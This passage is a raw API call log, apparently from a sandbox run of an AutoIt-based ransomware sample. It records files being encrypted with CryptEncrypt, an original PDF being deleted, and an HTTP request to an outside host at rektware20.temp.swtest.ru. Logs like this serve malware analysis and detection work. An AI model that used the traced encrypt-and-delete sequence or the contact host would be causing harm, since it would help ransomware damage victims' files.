wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.918] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621840, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.918] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.918] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x10136, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x10140) returned 1 [0073.918] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.918] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.918] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.918] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.918] CharLowerBuffW (in: lpsz="byte[65857]", cchLength=0xb | out: lpsz="byte[65857]") returned 0xb [0073.918] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.919] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.919] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.919] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bb8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.920] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.920] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1810ee0*, pdwDataLen=0x130e618*=0x10136, dwBufLen=0x10140 | out: pbData=0x1810ee0*, pdwDataLen=0x130e618*=0x10140) returned 1 [0073.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.920] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.920] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.920] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.920] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.920] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.920] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.921] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.921] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.921] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.921] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.921] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.921] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.925] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.925] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.928] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.928] WriteFile (in: hFile=0x3ac, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x10140, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x10140, lpOverlapped=0x0) returned 1 [0073.930] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.930] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.930] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.930] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.930] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.930] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.930] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.931] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.931] CryptDestroyKey (hKey=0x164c630) returned 1 [0073.931] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.931] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.931] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.931] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.931] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.931] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.932] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.932] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.932] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.932] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.932] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.932] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.932] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.932] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.932] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.932] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.932] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.932] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.932] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.932] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.932] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.933] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.933] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.933] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.933] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.933] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.933] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.933] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.933] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.933] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.933] CryptReleaseContext (hProv=0x17aa5e8, dwFlags=0x0) returned 1 [0073.933] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.933] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.934] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.937] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.937] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.937] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.937] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.937] CloseHandle (hObject=0x3d0) returned 1 [0073.940] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.940] CloseHandle (hObject=0x3ac) returned 1 [0073.944] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.947] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.947] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", lpFilePart=0x0) returned 0x4b [0073.948] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\skypj sgetvuqxksnqco.pdf")) returned 0x20 [0073.948] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0073.948] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\skypj sgetvuqxksnqco.pdf")) returned 1 [0073.955] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.955] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0073.956] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.956] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.956] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.956] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.956] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0073.956] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.956] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.956] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.957] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.957] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.957] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.957] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c) returned 1 [0073.957] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.957] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.958] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.959] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.959] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.959] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.959] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.959] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.959] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.960] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.960] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.960] CloseHandle (hObject=0x0) returned 0 [0073.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt", 